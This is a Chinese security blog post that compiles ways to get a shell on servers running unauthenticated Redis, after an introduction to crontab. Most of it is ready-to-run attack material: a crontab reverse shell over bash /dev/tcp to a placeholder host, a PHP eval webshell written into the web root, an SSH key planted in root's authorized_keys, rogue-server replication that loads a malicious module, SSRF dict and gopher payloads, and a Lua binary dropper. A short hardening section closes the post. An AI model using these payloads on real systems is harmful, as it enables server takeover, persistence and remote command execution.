Redis GetShell 姿势总结

  • A+
所属分类:安全博客

Crontab 计划任务

Crontab 是 Linux系统或 Unix 系统中常用的定时命令,使用 Crontab 可以在指定的时间执行一个 Shell 脚本或者一系列 Linux/Unix 命令。

Crontab 格式

1
2
3
4
5
6
7
8
9
*    *    *    *    *    command
- - - - - -
| | | | | |
| | | | | +----- 需要执行的命令(绝对路径)
| | | | +---------- 星期中星期几 (0 - 7) (星期天 为0)
| | | +--------------- 月份 (1 - 12)
| | +-------------------- 一个月中的第几天 (1 - 31)
| +------------------------- 小时 (0 - 23)
+------------------------------ 分钟 (0 - 59)

Crontab 示例

  1. 在每天凌晨过一分钟12:01 a.m 执行
1
1 0 * * * /root/bin/backup.sh
  1. 每个工作日(Mon – Fri) 11:59 p.m 执行
1
59 11 * * 1,2,3,4,5 /root/bin/backup.sh

下面例子与上面的例子效果一样:

1
59 11 * * 1-5 /root/bin/backup.sh
  1. 每5分钟执行一次命令
1
*/5 * * * * /root/bin/check-status.sh
  1. 每个月的第一天 1:10 p.m 执行
1
10 13 1 * * /root/bin/full-backup.sh
  1. 每个工作日 11 p.m 执行
1
0 23 * * 1-5 /root/bin/incremental-backup.sh

Crontab 选项

1
2
3
4
crontab –e :  修改 crontab 文件. 如果文件不存在会自动创建。 
crontab –l : 显示 crontab 文件。
crontab -r : 删除 crontab 文件。
crontab -ir : 删除 crontab 文件前提醒用户。

Cron表达式和Crontab的区别

  • Cron表达式从左往右,从秒开始;而Crontab则是从分钟开始的。

  • Cron表达式是一个字符串,字符串以5或6个空格隔开,分为6或7个域,每一个域代表一个含义,

  • Cron有如下两种语法格:

    (1)Seconds Minutes Hours DayofMonth Month DayofWeek Year

    (2)Seconds Minutes Hours DayofMonth Month DayofWeek

  • Crontab格式:

    MIN(分钟) HOUR(小时) DAY(日期) MONTH(月份) DAYOFWEEK(星期) COMMAND(命令)


漏洞成因

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  2. 没有设置密码认证(一般为空),可以免密码远程登录redis服务

环境准备

目标机器:172.16.186.4

Kali 开启 SSH

1. 查看ssh服务状态

1
/etc/init.d/ssh status

2.修改配置文件

1
vim /etc/ssh/sshd_config

Redis GetShell 姿势总结

3. 启动ssh服务

1
/etc/init.d/ssh start

查看服务状态

1
/etc/init.d/ssh status

开机启动

1
update-rc.d ssh enable

配置 Redis

1
2
3
4
5
6
7
8
9
wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
cp redis.conf /etc/redis.conf
make
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
vim /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

关闭保护模式,允许远程连接redis服务将yes 改为no

Redis GetShell 姿势总结

启动 Redis

1
redis-server /etc/redis.conf

Redis GetShell 姿势总结


常用命令

连接 Redis 服务器

1
redis-cli -h 172.16.186.4
1
2
3
4
5
6
7
8
9
10
 (1)info                       			查看信息     
(2)flushall 删除所有数据库内容
(3)flushdb 刷新数据库
(4)KEYS * 查看所有键,使用select num可以查看键值数据。
(5)set test "who am i" 设置变量
(6)config set dir {dirpath} 设置路径等配置
(7)config set dbfilename redis.rdb 设置备份文件名
(8)config get dir/dbfilename 获取路径及数据配置信息
(9)save 保存
(10)get 变量,查看变量名称

MSF 下利用模块

1
2
3
auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

nmap获取信息

1
nmap -A -p 6379 --script redis-info 172.16.186.4

GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。


计划任务反弹 Shell

  • 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# VPS 启监听
➜ nc -lvp 6666

# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 172.16.186.4

172.16.186.4:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1\n"
OK
172.16.186.4:6379> config set dir /var/spool/cron/
OK
172.16.186.4:6379> config set dbfilename root
OK
172.16.186.4:6379> save
OK

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -l 列出某个用户cron服务的详细内容

crontab -r 删除每个用户cront任务 (谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件

如:*/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件


Web 目录写 Shell

  1. 当 redis 权限不高且服务器开着 web 服务
  2. redis 有 web 目录写权限
  3. 可以尝试往 web 路径写 webshell
1
2
3
4
5
6
7
8
9
10
11
# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 172.16.186.4

172.16.186.4:6379> config set dir /var/www/html/
OK
172.16.186.4:6379> config set dbfilename shell.php
OK
172.16.186.4:6379> set x "<?php @eval($_POST['shell']);?>"
OK
172.16.186.4:6379> save
OK

写 ssh-keygen 公钥获取权限

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 本地生成一对密钥
➜ ssh-keygen -t rsa

# 将公钥写入一个文件,内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 172.16.186.4 -x set crackit

172.16.186.4:6379> config set dir /root/.ssh/
OK
172.16.186.4:6379> config get dir
1) "dir"
2) "/root/.ssh"
172.16.186.4:6379> config set dbfilename authorized_keys
OK
172.16.186.4:6379> save
OK

# 使用私钥连接
➜ ssh -i id_rsa [email protected]

或者172.16.186.4:6379> set crackit “\n\n\n 公钥内容 \n\n\n”


Redis 主从复制 GetShell

Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave)从而利用漏洞获取权限。

Redis RCE 自动化工具

条件

Redis <=5.0.5

EXP

Redis Rogue Server

用法

1
2
3
4
5
6
7
-h, --help           show this help message and exit
--rhost=REMOTE_HOST target host
--rport=REMOTE_PORT target redis port, default 6379
--lhost=LOCAL_HOST rogue server ip
--lport=LOCAL_PORT rogue server listen port, default 21000
--exp=EXP_FILE Redis Module to load, default exp.so
-v, --verbose Show full data stream

交互式 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig

[info] TARGET 127.0.0.1:6379
[info] SERVER 127.0.0.1:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] whoami
[>>] :n0b0dy
[<<]

反弹 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig

[info] TARGET 127.0.0.1:6379
[info] SERVER 127.0.0.1:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 127.0.0.1
Reverse server port: 9999
[info] Reverse shell payload sent.
[info] Check at 127.0.0.1:9999
[info] Unload module...

VPS 接收 Shell:

1
2
3
4
➜ nc -lvvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from localhost.localdomain 39312 received!
whoami

SSRF 反弹 Shell

参照 Redis 手动 Getshell 的过程,当站点存在漏洞时可利用 SSRF 反弹 Shell

测试漏洞页面 ssrf.php

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

环境准备

  • 模拟内网未授权 Redis 服务器:172.16.186.4
  • 模拟攻击者机器:192.168.0.107
  • 在攻击者机器上构建恶意 Redis 服务器,同时监听本地 9999 端口接收 Shell

利用 dict 协议反弹 Shell

利用方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看当前redis的相关配置
ssrf.php?url=dict://172.16.186.4:6379/info

# 设置备份文件名
ssrf.php?url=dict://172.16.186.4:6379/config:set:dbfilename:exp.so

# 连接恶意Redis服务器
ssrf.php?url=dict://172.16.186.4:6379/slaveof:192.168.0.107:1234

# 加载恶意模块
ssrf.php?url=dict://172.16.186.4:6379/module:load:./exp.so

# 切断主从复制
ssrf.php?url=dict://172.16.186.4:6379/slaveof:no:one

# 执行系统命令
ssrf.php?url=dict://172.16.186.4:6379/system.rev:192.168.0.107:9999

利用 Gopher 协议反弹 Shell

利用方式:

1
2
3
4
5
# 设置文件名,连接恶意Redis服务器
gopher://172.16.186.4:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.107%25201234%250d%250aquit

# 加载exp.so,反弹shell
gopher://172.16.186.4:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.0.107%25209999%250d%250aquit

Get 请求会自动解码一次所以这里需要进行两次 URL 编码


Lua 脚本执行命令

Redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

本地建立一个lua脚本:

1
2
3
vim  hello.lua
local msg = "hello.hack!"
return msg

在客户端连接 Redis 服务器并执行 hello.lua

1
redis-cli eval "$(cat hello.lua)" 0 -h 172.16.186.4

写二进制文件 利用dns、icmp等协议上线 (tcp协议不能出网)

写二进制文件的方法跟前边有所不同,原因在于使用 RDB 方式备份 Redis 数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用 python清洗脏数据。

  1. 创建一个 a.lua 其内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
local function hex2bin(hexstr)
local str = ""
for i = 1, string.len(hexstr) - 1, 2 do
local doublebytestr = string.sub(hexstr, i, i+1);
local n = tonumber(doublebytestr, 16);
if 0 == n then
str = str .. '\00'
else
str = str .. string.format("%c", n)
end
end
return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst

变量data保存的是程序的16进制编码

  1. 利用 redis 执行该 lua 脚本
1
redis-cli --eval a.lua -h 172.16.186.4
  1. 由于 redis 不支持在 lua 中调用 save 因此需要手动执行 save 操作,并且删除 key data,恢复 dir 等。
1
2
3
4
redis-cli save -h 172.16.186.4
redis-cli config set dir *** -h 172.16.186.4
redis-cli config set dbfilename *** -h 172.16.186.4
redis-cli config set rdbcompression * -h 172.16.186.4

目前写入的文件前后是存在垃圾数据的,需要通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了 ||| 作为提取最终文件的标识)

1
*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

修复建议

  1. 禁止Redis服务对公网开放,可通过修改 redis.conf 配置文件中的 #bind 127.0.0.1 ,去掉前面的 # 即可(Redis本来就是作为内存数据库,只要监听在本机即可)

  2. 设置密码访问认证,可通过修改 redis.conf 配置文件中的 requirepass 设置复杂密码 (需要重启 Redis 服务才能生效)

    1
    requirepass mypassword  (注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
  3. 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器

  4. 修改 Redis 默认端口,将默认的6379端口修改为其他端口。

    1
    Port 6379
  5. 保证 authorized_keys 文件的安全

    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

    1
    $ chmod 400 ~/.ssh/authorized_keys

    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    1
    $ chattr +i ~/.ssh/authorized_keys

    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

    1
    $ chattr +i ~/.ssh

    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

  6. 禁止一些高危命令(重启redis才能生效)

    修改 redis.conf 文件,禁用远程修改 DB 文件地址:

    1
    2
    3
    4
    5
    rename-command FLUSHALL ""

    rename-command CONFIG ""

    rename-command EVAL ""

    或者通过修改redis.conf文件,改变这些高危命令的名称:

    1
    2
    3
    4
    5
    rename-command FLUSHALL "name1"

    rename-command CONFIG "name2"

    rename-command EVAL "name3"
  7. 以低权限运行 Redis 服务(重启redis才能生效)

    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆:

    1
    groupadd -r redis && useradd -r -g redis redis

参考链接

FROM : lintstar.top , Author: 离沫凌天๓

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: